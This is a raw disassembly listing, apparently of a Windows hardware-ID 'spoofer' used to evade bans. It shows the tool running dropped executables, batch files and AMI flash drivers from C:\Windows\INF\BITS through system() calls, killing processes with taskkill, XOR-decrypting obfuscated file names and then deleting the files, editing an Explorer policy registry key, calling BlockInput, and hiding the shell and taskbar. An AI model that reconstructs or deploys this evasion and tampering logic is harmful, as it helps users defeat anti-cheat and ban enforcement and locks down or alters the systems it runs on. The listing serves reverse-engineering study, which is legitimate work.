lea rdx, str.C:WindowsINFBITS_azeroxd.EXE
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
lea rdx, str.C:WindowsINFBITS_amigendrv64.sys
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
lea rdx, str.C:WindowsINFBITS_ssd.bat
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
lea rdx, str.C:WindowsINFBITS_amifldrv64.sys
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_All...
lea rcx, [rbp - 0x51]
call fcn.140003830
mov ecx, edi
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
lea rdx, str.C:WindowsINFBITS_all_moth.bat
lea rcx, [rbp - 0x51]
call fcn.140003830
mov rcx, rax
call fcn.140011670
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Spoofing_Bo_Sinn...
lea rcx, [rbp - 0x51]
call fcn.140003830
lea ecx, [rdi + 1]
add edi, 2
lea rdx, [rbp - 0x51]
call fcn.140009ac0
lea rcx, [rbp - 0x51]
call fcn.140004750
jmp 0x140010a5b
mov r12d, 7
mov dword [rbp - 0x2f], 0x31263e
movdqa xmm0, xmmword [str.taskkill__f__im]
movdqu xmmword [rbp - 0x51], xmm0
movdqa xmm1, xmmword [0x1400abe20]
movdqu xmmword [rbp - 0x41], xmm1
mov word [rbp - 0x31], 0x3220
mov byte [rbp - 0x2b], 0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, reloc.WS2_32.dll_select
lea rdx, str.Spoofing_Success__
lea rcx, [rsp + 0x40]
call fcn.140002280
mov word [rsp + 0x30], bx
mov word [rsp + 0x32], di
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorPosition]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r15w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, r12w
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rdx, qword [rbp - 0x71]
cmp rdx, 0xf
jbe 0x140010b55
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010b50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010b50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a49e0
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400aab00]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aab10]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aab20]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x140010c93
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140010ba0
cmp r8d, 0x21
jge 0x140010cd3
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140010ca0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aab28]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aab38]
movups xmmword [rbp - 0x41], xmm1
movzx eax, byte [0x1400aab48]
mov byte [rbp - 0x31], al
mov r8d, ebx
cmp r14d, 2
jl 0x140010e24
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140010d31
cmp r8d, 0x21
jge 0x140010e63
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140010e30
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aab50]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aab60]
movups xmmword [rbp - 0x41], xmm1
movzx eax, word [0x1400aab70]
mov word [rbp - 0x31], ax
movzx eax, byte [0x1400aab72]
mov byte [rbp - 0x2f], al
mov r8d, ebx
cmp r14d, 2
jl 0x140010fc3
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140010ed0
cmp r8d, 0x23
jge 0x140011003
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140010fd0
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aab78]
movups xmmword [rbp - 0x51], xmm0
movups xmm1, xmmword [0x1400aab88]
movups xmmword [rbp - 0x41], xmm1
mov eax, dword [0x1400aab98]
mov dword [rbp - 0x31], eax
mov r8d, ebx
cmp r14d, 2
jl 0x140011153
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rbp - 0x4d]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140011060
cmp r8d, 0x24
jge 0x140011193
movsxd rax, r8d
lea r9, [rbp - 0x51]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140011160
lea rcx, [rbp - 0x51]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aaba0]
movups xmmword [rsp + 0x40], xmm0
movsd xmm0, qword [0x1400aabb0]
movsd qword [rbp - 0x79], xmm0
mov eax, dword [0x1400aabb8]
mov dword [rbp - 0x71], eax
cmp byte [0x1400aabbb], 0
je 0x140011333
mov r8d, ebx
cmp r14d, 2
jl 0x1400112f4
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140011201
cmp r8d, 0x1c
jge 0x140011333
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140011300
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WLDAP32.dll_Ordinal_200
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400aabc0]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400aabd0]
movups xmmword [rbp - 0x79], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
test al, al
je 0x1400114be
cmp r14d, 2
jl 0x14001148b
movdqa xmmword [rsp + 0x30], xmm10
lea rcx, [rsp + 0x44]
mov edx, dword [rsp + 0x30]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x1400113a0
jmp 0x1400114be
lea r8, [rsp + 0x40]
mov eax, 0x8d3dcb09
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, bl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x20
jl 0x140011490
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400aa644]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000a2c0
lea rcx, str.reg_add_HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer__v_NoWinKeys__t_REG_DWORD__d_0__f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rdx, [0x140003330]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, str.Press_any_key_to_restore_the_shell_and_taskbar...
call fcn.140001f70
lea rdx, [0x140003330]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
mov edx, 5
mov rcx, r13
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 5
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rbp - 0x21]
xor rcx, rsp
call fcn.1400a4d40
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
nop
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, str.exists
call fcn.140005d00
int3